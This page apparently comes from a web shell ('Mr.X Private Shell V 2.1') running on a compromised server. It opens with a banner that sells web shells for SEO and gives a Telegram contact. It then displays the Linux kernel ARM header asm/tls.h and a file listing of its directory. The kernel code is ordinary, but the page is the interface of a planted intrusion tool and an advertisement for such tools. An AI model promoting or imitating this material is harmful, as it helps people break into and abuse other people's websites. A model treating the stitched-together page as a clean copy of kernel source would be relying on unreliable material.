__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __ASMARM_TLS_H
#define __ASMARM_TLS_H
#include <linux/compiler.h>
#include <asm/thread_info.h>
#ifdef __ASSEMBLY__
#include <asm/asm-offsets.h>
.macro switch_tls_none, base, tp, tpuser, tmp1, tmp2
.endm
.macro switch_tls_v6k, base, tp, tpuser, tmp1, tmp2
mrc p15, 0, \tmp2, c13, c0, 2 @ get the user r/w register
@ TLS register update is deferred until return to user space
mcr p15, 0, \tpuser, c13, c0, 2 @ set the user r/w register
str \tmp2, [\base, #TI_TP_VALUE + 4] @ save it
.endm
.macro switch_tls_v6, base, tp, tpuser, tmp1, tmp2
#ifdef CONFIG_SMP
ALT_SMP(nop)
ALT_UP_B(.L0_\@)
.subsection 1
#endif
.L0_\@:
ldr_va \tmp1, elf_hwcap
mov \tmp2, #0xffff0fff
tst \tmp1, #HWCAP_TLS @ hardware TLS available?
streq \tp, [\tmp2, #-15] @ set TLS value at 0xffff0ff0
beq .L2_\@
mcr p15, 0, \tp, c13, c0, 3 @ yes, set TLS register
#ifdef CONFIG_SMP
b .L1_\@
.previous
#endif
.L1_\@: switch_tls_v6k \base, \tp, \tpuser, \tmp1, \tmp2
.L2_\@:
.endm
.macro switch_tls_software, base, tp, tpuser, tmp1, tmp2
mov \tmp1, #0xffff0fff
str \tp, [\tmp1, #-15] @ set TLS value at 0xffff0ff0
.endm
#else
#include <asm/smp_plat.h>
#endif
#ifdef CONFIG_TLS_REG_EMUL
#define tls_emu 1
#define has_tls_reg 1
#define defer_tls_reg_update 0
#define switch_tls switch_tls_none
#elif defined(CONFIG_CPU_V6)
#define tls_emu 0
#define has_tls_reg (elf_hwcap & HWCAP_TLS)
#define defer_tls_reg_update is_smp()
#define switch_tls switch_tls_v6
#elif defined(CONFIG_CPU_32v6K)
#define tls_emu 0
#define has_tls_reg 1
#define defer_tls_reg_update 1
#define switch_tls switch_tls_v6k
#else
#define tls_emu 0
#define has_tls_reg 0
#define defer_tls_reg_update 0
#define switch_tls switch_tls_software
#endif
#ifndef __ASSEMBLY__
static inline void set_tls(unsigned long val)
{
struct thread_info *thread;
thread = current_thread_info();
thread->tp_value[0] = val;
/*
* This code runs with preemption enabled and therefore must
* be reentrant with respect to switch_tls.
*
* We need to ensure ordering between the shadow state and the
* hardware state, so that we don't corrupt the hardware state
* with a stale shadow state during context switch.
*
* If we're preempted here, switch_tls will load TPIDRURO from
* thread_info upon resuming execution and the following mcr
* is merely redundant.
*/
barrier();
if (!tls_emu) {
if (has_tls_reg && !defer_tls_reg_update) {
asm("mcr p15, 0, %0, c13, c0, 3"
: : "r" (val));
} else if (!has_tls_reg) {
#ifdef CONFIG_KUSER_HELPERS
/*
* User space must never try to access this
* directly. Expect your app to break
* eventually if you do so. The user helper
* at 0xffff0fe0 must be used instead. (see
* entry-armv.S for details)
*/
*((unsigned int *)0xffff0ff0) = val;
#endif
}
}
}
static inline unsigned long get_tpuser(void)
{
unsigned long reg = 0;
if (has_tls_reg && !tls_emu)
__asm__("mrc p15, 0, %0, c13, c0, 2" : "=r" (reg));
return reg;
}
static inline void set_tpuser(unsigned long val)
{
/* Since TPIDRURW is fully context-switched (unlike TPIDRURO),
* we need not update thread_info.
*/
if (has_tls_reg && !tls_emu) {
asm("mcr p15, 0, %0, c13, c0, 2"
: : "r" (val));
}
}
static inline void flush_tls(void)
{
set_tls(0);
set_tpuser(0);
}
#endif
#endif /* __ASMARM_TLS_H */
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| hardware | Folder | 0755 |
|
|
| mach | Folder | 0755 |
|
|
| vdso | Folder | 0755 |
|
|
| xen | Folder | 0755 |
|
|
| Kbuild | File | 186 B | 0644 |
|
| arch_gicv3.h | File | 6.25 KB | 0644 |
|
| arch_timer.h | File | 3.05 KB | 0644 |
|
| archrandom.h | File | 229 B | 0644 |
|
| arm-cci.h | File | 535 B | 0644 |
|
| arm_pmuv3.h | File | 7.38 KB | 0644 |
|
| asm-offsets.h | File | 35 B | 0644 |
|
| assembler.h | File | 16.77 KB | 0644 |
|
| atomic.h | File | 12.59 KB | 0644 |
|
| auxvec.h | File | 29 B | 0644 |
|
| bL_switcher.h | File | 2.13 KB | 0644 |
|
| barrier.h | File | 2.84 KB | 0644 |
|
| bitops.h | File | 7.55 KB | 0644 |
|
| bitrev.h | File | 451 B | 0644 |
|
| bug.h | File | 2.56 KB | 0644 |
|
| bugs.h | File | 297 B | 0644 |
|
| cache.h | File | 896 B | 0644 |
|
| cacheflush.h | File | 15.14 KB | 0644 |
|
| cachetype.h | File | 3.02 KB | 0644 |
|
| checksum.h | File | 3.96 KB | 0644 |
|
| clocksource.h | File | 161 B | 0644 |
|
| cmpxchg.h | File | 6.31 KB | 0644 |
|
| compiler.h | File | 978 B | 0644 |
|
| cp15.h | File | 3.22 KB | 0644 |
|
| cpu.h | File | 370 B | 0644 |
|
| cpufeature.h | File | 1.26 KB | 0644 |
|
| cpuidle.h | File | 1.59 KB | 0644 |
|
| cputype.h | File | 8.68 KB | 0644 |
|
| cti.h | File | 3.62 KB | 0644 |
|
| current.h | File | 1.8 KB | 0644 |
|
| dcc.h | File | 623 B | 0644 |
|
| delay.h | File | 2.83 KB | 0644 |
|
| device.h | File | 533 B | 0644 |
|
| div64.h | File | 2.69 KB | 0644 |
|
| dma-iommu.h | File | 906 B | 0644 |
|
| dma.h | File | 4.17 KB | 0644 |
|
| dmi.h | File | 378 B | 0644 |
|
| domain.h | File | 3.35 KB | 0644 |
|
| ecard.h | File | 5.98 KB | 0644 |
|
| edac.h | File | 995 B | 0644 |
|
| efi.h | File | 2.62 KB | 0644 |
|
| elf.h | File | 4.58 KB | 0644 |
|
| exception.h | File | 416 B | 0644 |
|
| fiq.h | File | 1.36 KB | 0644 |
|
| firmware.h | File | 1.69 KB | 0644 |
|
| fixmap.h | File | 1.84 KB | 0644 |
|
| floppy.h | File | 2.26 KB | 0644 |
|
| fncpy.h | File | 2.49 KB | 0644 |
|
| fpstate.h | File | 1.34 KB | 0644 |
|
| fpu.h | File | 309 B | 0644 |
|
| ftrace.h | File | 1.96 KB | 0644 |
|
| futex.h | File | 4.25 KB | 0644 |
|
| glue-cache.h | File | 2.88 KB | 0644 |
|
| glue-df.h | File | 2.06 KB | 0644 |
|
| glue-pf.h | File | 1005 B | 0644 |
|
| glue-proc.h | File | 4.32 KB | 0644 |
|
| glue.h | File | 613 B | 0644 |
|
| hardirq.h | File | 246 B | 0644 |
|
| highmem.h | File | 2.32 KB | 0644 |
|
| hugetlb-3level.h | File | 740 B | 0644 |
|
| hugetlb.h | File | 541 B | 0644 |
|
| hw_breakpoint.h | File | 3.76 KB | 0644 |
|
| hw_irq.h | File | 349 B | 0644 |
|
| hwcap.h | File | 378 B | 0644 |
|
| hypervisor.h | File | 282 B | 0644 |
|
| idmap.h | File | 359 B | 0644 |
|
| insn.h | File | 1.29 KB | 0644 |
|
| io.h | File | 13.81 KB | 0644 |
|
| irq.h | File | 808 B | 0644 |
|
| irq_work.h | File | 234 B | 0644 |
|
| irqflags.h | File | 3.88 KB | 0644 |
|
| jump_label.h | File | 1.12 KB | 0644 |
|
| kasan.h | File | 708 B | 0644 |
|
| kasan_def.h | File | 2.66 KB | 0644 |
|
| kexec-internal.h | File | 272 B | 0644 |
|
| kexec.h | File | 2.16 KB | 0644 |
|
| kfence.h | File | 1.03 KB | 0644 |
|
| kgdb.h | File | 2.72 KB | 0644 |
|
| kprobes.h | File | 2.1 KB | 0644 |
|
| krait-l2-accessors.h | File | 231 B | 0644 |
|
| linkage.h | File | 216 B | 0644 |
|
| mc146818rtc.h | File | 720 B | 0644 |
|
| mcpm.h | File | 11.78 KB | 0644 |
|
| mcs_spinlock.h | File | 570 B | 0644 |
|
| memblock.h | File | 248 B | 0644 |
|
| memory.h | File | 10.24 KB | 0644 |
|
| mman.h | File | 369 B | 0644 |
|
| mmu.h | File | 949 B | 0644 |
|
| mmu_context.h | File | 3.76 KB | 0644 |
|
| module.h | File | 1.26 KB | 0644 |
|
| module.lds.h | File | 134 B | 0644 |
|
| mpu.h | File | 3.22 KB | 0644 |
|
| mtd-xip.h | File | 520 B | 0644 |
|
| neon.h | File | 1.02 KB | 0644 |
|
| nwflash.h | File | 195 B | 0644 |
|
| opcodes-sec.h | File | 350 B | 0644 |
|
| opcodes-virt.h | File | 684 B | 0644 |
|
| opcodes.h | File | 8.06 KB | 0644 |
|
| outercache.h | File | 3.19 KB | 0644 |
|
| page-nommu.h | File | 811 B | 0644 |
|
| page.h | File | 4.69 KB | 0644 |
|
| paravirt.h | File | 477 B | 0644 |
|
| paravirt_api_clock.h | File | 26 B | 0644 |
|
| pci.h | File | 687 B | 0644 |
|
| percpu.h | File | 1.7 KB | 0644 |
|
| perf_event.h | File | 477 B | 0644 |
|
| pgalloc.h | File | 3.29 KB | 0644 |
|
| pgtable-2level-hwdef.h | File | 3.31 KB | 0644 |
|
| pgtable-2level-types.h | File | 1.25 KB | 0644 |
|
| pgtable-2level.h | File | 8.54 KB | 0644 |
|
| pgtable-3level-hwdef.h | File | 4.34 KB | 0644 |
|
| pgtable-3level-types.h | File | 1.3 KB | 0644 |
|
| pgtable-3level.h | File | 8 KB | 0644 |
|
| pgtable-hwdef.h | File | 321 B | 0644 |
|
| pgtable-nommu.h | File | 1.89 KB | 0644 |
|
| pgtable.h | File | 10.16 KB | 0644 |
|
| probes.h | File | 1.3 KB | 0644 |
|
| proc-fns.h | File | 4.88 KB | 0644 |
|
| processor.h | File | 3 KB | 0644 |
|
| procinfo.h | File | 1.13 KB | 0644 |
|
| prom.h | File | 552 B | 0644 |
|
| psci.h | File | 379 B | 0644 |
|
| ptdump.h | File | 969 B | 0644 |
|
| ptrace.h | File | 4.93 KB | 0644 |
|
| seccomp.h | File | 281 B | 0644 |
|
| sections.h | File | 622 B | 0644 |
|
| secure_cntvoff.h | File | 152 B | 0644 |
|
| semihost.h | File | 643 B | 0644 |
|
| set_memory.h | File | 788 B | 0644 |
|
| setup.h | File | 1.13 KB | 0644 |
|
| shmparam.h | File | 419 B | 0644 |
|
| signal.h | File | 694 B | 0644 |
|
| simd.h | File | 185 B | 0644 |
|
| smp.h | File | 2.83 KB | 0644 |
|
| smp_plat.h | File | 2.48 KB | 0644 |
|
| smp_scu.h | File | 1.32 KB | 0644 |
|
| smp_twd.h | File | 590 B | 0644 |
|
| sparsemem.h | File | 714 B | 0644 |
|
| spectre.h | File | 991 B | 0644 |
|
| spinlock.h | File | 5.51 KB | 0644 |
|
| spinlock_types.h | File | 547 B | 0644 |
|
| stackprotector.h | File | 1.11 KB | 0644 |
|
| stacktrace.h | File | 1.47 KB | 0644 |
|
| string.h | File | 2.11 KB | 0644 |
|
| suspend.h | File | 445 B | 0644 |
|
| swab.h | File | 1005 B | 0644 |
|
| switch_to.h | File | 1.17 KB | 0644 |
|
| sync_bitops.h | File | 1.48 KB | 0644 |
|
| syscall.h | File | 2.07 KB | 0644 |
|
| syscalls.h | File | 1.96 KB | 0644 |
|
| system_info.h | File | 763 B | 0644 |
|
| system_misc.h | File | 1005 B | 0644 |
|
| tcm.h | File | 991 B | 0644 |
|
| text-patching.h | File | 438 B | 0644 |
|
| therm.h | File | 655 B | 0644 |
|
| thread_info.h | File | 5.07 KB | 0644 |
|
| thread_notify.h | File | 1.06 KB | 0644 |
|
| timex.h | File | 431 B | 0644 |
|
| tlb.h | File | 1.28 KB | 0644 |
|
| tlbflush.h | File | 17.66 KB | 0644 |
|
| tls.h | File | 3.31 KB | 0644 |
|
| topology.h | File | 1.14 KB | 0644 |
|
| traps.h | File | 1.38 KB | 0644 |
|
| uaccess-asm.h | File | 3.72 KB | 0644 |
|
| uaccess.h | File | 16.99 KB | 0644 |
|
| ucontext.h | File | 2.68 KB | 0644 |
|
| unified.h | File | 979 B | 0644 |
|
| unistd.h | File | 1.51 KB | 0644 |
|
| unwind.h | File | 1.28 KB | 0644 |
|
| uprobes.h | File | 948 B | 0644 |
|
| user.h | File | 4.06 KB | 0644 |
|
| v7m.h | File | 3.21 KB | 0644 |
|
| vdso.h | File | 507 B | 0644 |
|
| vermagic.h | File | 800 B | 0644 |
|
| vfp.h | File | 2.89 KB | 0644 |
|
| vfpmacros.h | File | 1.72 KB | 0644 |
|
| vga.h | File | 351 B | 0644 |
|
| virt.h | File | 1.81 KB | 0644 |
|
| vmalloc.h | File | 87 B | 0644 |
|
| vmlinux.lds.h | File | 4.52 KB | 0644 |
|
| word-at-a-time.h | File | 2.11 KB | 0644 |
|
| xor.h | File | 5.63 KB | 0644 |
|